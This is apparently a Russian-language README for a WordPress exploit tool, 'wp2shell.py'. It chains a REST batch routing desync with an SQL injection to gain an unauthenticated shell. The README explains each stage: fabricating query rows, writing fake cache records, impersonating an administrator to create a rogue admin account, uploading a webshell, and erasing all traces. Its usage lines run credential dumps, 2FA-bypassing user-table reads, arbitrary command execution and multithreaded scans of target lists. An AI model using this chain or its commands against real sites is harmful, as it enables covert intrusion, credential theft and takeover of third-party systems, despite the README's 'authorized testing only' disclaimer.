
PoC RCE без аутентификации для ядра WordPress — объединяет CVE-2026-63030 (route-confusion desync в REST /batch/v1) с CVE-2026-60137 (SQLi через author__not_in) для получения shell без аутентификации. Только авторизованное тестирование.
RCE PoC без аутентификации для ядра WordPress, объединяющий в цепочку CVE-2026-63030 + CVE-2026-60137. Только авторизованное тестирование.
wp2shell.py — это proof of concept из одного файла, использующий только стандартную библиотеку, который связывает две уязвимости ядра WordPress в цепочку, приводящую к удалённому выполнению кода без аутентификации:
| CVE | Компонент | Ошибка |
|---|---|---|
| CVE-2026-63030 | обработчик REST /batch/v1 | desync из-за путаницы маршрутов — batch-обработчик теряет синхронизацию между таблицей обработчиков и таблицей валидации, когда путь под-запроса не удаётся разобрать, поэтому под-запрос направляется через обработчик, для которого он никогда не проходил валидацию. |
| CVE-2026-60137 | WP_Query | скалярная SQL-инъекция — значение author__not_in вставляется прямо в SQL, поэтому строка, попадающая в него, инъектируема. |
Ни одна из них по отдельности не даёт RCE. Desync — это доставка (он протаскивает строку атакующего в запрос, до которого она никогда не должна дойти); инъекция — это примитив. Вместе они дают атакующему без аутентификации полный SQL-оракул чтения/записи, а оттуда — рабочую оболочку.
⚠️ Только авторизованное тестирование. Этот эксплойт атакует реально работающие WordPress-установки. Используйте его только против систем, которыми вы владеете или на тестирование которых у вас есть явное письменное разрешение.
Уязвимые версии: 6.8.0–6.8.5, 6.9.0–6.9.4, 7.0.0–7.0.1 Исправленные версии: 6.8.6, 6.9.5, 7.0.2 (и более поздние) Сообщил Адам Кьюс (Assetnote / Searchlight Cyber); вклад в обнаружение SQLi также внесли TF1T, dtro, haongo.
RCE-способны только версии 6.9.0–7.0.1. На ветке 6.8.x desync по-прежнему срабатывает, но ветвь, которая должна сместить обработчик, вместо этого упирается в фатальную ошибку WP_Error::get_method() — так что 6.8.x — это отказ в обслуживании / краш, а не оболочка. Инструмент определяет это и сообщает, какой примитив доступен.
Эксплойт построен по слоям; каждый из них — мост к следующему.
Desync (CVE-2026-63030). Batch-запрос вкладывает в себя второй batch. Один под-запрос несёт намеренно повреждённый путь (http://:, который отклоняет wp_parse_url()). В версиях 6.9.0+ неудачный разбор заставляет таблицу обработчиков и таблицу валидации разойтись на одну запись, поэтому следующий под-запрос выполняется через обработчик, для которого он не проходил валидацию, — публичную коллекцию записей.
Инъекция (CVE-2026-60137). Этот ошибочно направленный вызов достигает WP_Query с контролируемым атакующим author__not_in. UNION ALL SELECT там не читает строки — он фабрикует их, позволяя подделывать произвольные записи в результате запроса.
Мост SQL → запись. Сфабрикованные записи содержат разметку [embed]. WordPress послушно разрешает и кэширует их как настоящие строки post-meta oembed_cache — превращая инъекцию только для чтения в произвольный примитив записи.
Смена привилегий. Используя этот мост записи, мы подделываем (a) changeset кастомайзера, автором которого указан настоящий администратор, и (b) самоссылающуюся запись request. Вместе они заставляют WordPress повторно выполнить собственный конвейер запросов от имени этого администратора — окно, которого как раз хватает, чтобы поставленный в очередь вызов POST /wp/v2/users создал нового администратора.
Оболочка. Входим под новым администратором, загружаем плагин, выполняем команду. Учётная запись, её метаданные, oembed-строки и веб-шелл после этого полностью удаляются — не остаётся никакого постоянного следа.
Для чтения (--dump, определение префикса, кэшированные ID) инструмент автоматически выбирает самый быстрый работающий оракул и останавливается на первом же срабатывании:
union — in-band UNION: post_title сфабрикованной строки содержит |||HEX(value)|||, который дословно отражается в теле ответа /wp/v2/posts. Считывает целое значение (любой длины) за один запрос. Если UNION отражается, булевы оракулы не опрашиваются.bool — булев оракул X-WP-Total: заголовок X-WP-Total спутанного под-ответа равен count>0 при true / 0 при false. Один бит за запрос (бисекция).time — time-based SLEEP(): запасной вариант, когда тело ответа удаляется и ответ — 500 (например, фатальная ошибка после диспетчеризации, вызванная кэширующим mu-плагином). Работает даже на целях, которые падают при каждом REST-вызове.--dump использует GROUP_CONCAT, чтобы вытащить весь набор учётных данных одним заходом, когда доступен UNION.
Установка не требуется. Только стандартная библиотека Python 3.7+ — без pip install.
chmod +x wp2shell.py
# 1. Is it vulnerable? (no injection, no writes, no account created)
./wp2shell.py http://target --check
# 2. Read-only credential dump — FIRST administrator + option secrets
./wp2shell.py http://target --dump
# …every administrator
./wp2shell.py http://target --dump all
# 3. Full RCE — create a temp admin, run a command, clean up
./wp2shell.py http://target --exec "id; uname -a"
./wp2shell.py http://target --user-list # full user table (logins/emails/roles)
./wp2shell.py http://target --content # every post type at status=any (private/draft)
./wp2shell.py http://target --content full # …including each item's raw body
./wp2shell.py -f targets.txt --check --target-threads 8
| Флаг | Назначение |
|---|---|
url / -f FILE | одна цель или файл с целями (по одному URL в строке) |
--check | только проверка уязвимости — без инъекций, записей и создания учётной записи |
--dump [all] | дамп хэша и секретов первого администратора; all = все администраторы |
--exec CMD | создать временного администратора → выполнить CMD → очистить следы |
--user-list | чтение всей таблицы пользователей в in-band режиме с повышенными правами (без входа, обходит 2FA) |
--content [full] | чтение всех типов записей с повышенными правами при status=any; full добавляет тела записей |
--oracle {auto,union,bool,time} | принудительно задать оракул извлечения (по умолчанию auto) |
--prefix PFX | принудительно задать префикс таблиц вместо автоматического определения |
--impersonate UID | действовать от имени этого ID пользователя вместо первого администратора |
--threads N | параллельные попытки извлечения в пределах одной цели (по умолчанию 5) |
--target-threads N | сканировать N целей из -f параллельно (по умолчанию 1) |
--proxy URL | направлять трафик через прокси (например, Burp http://127.0.0.1:8080) |
--timeout SEC | таймаут на один запрос (по умолчанию 30) |
--verbose / -v | выводить сырые batch-под-ответы (отладка) |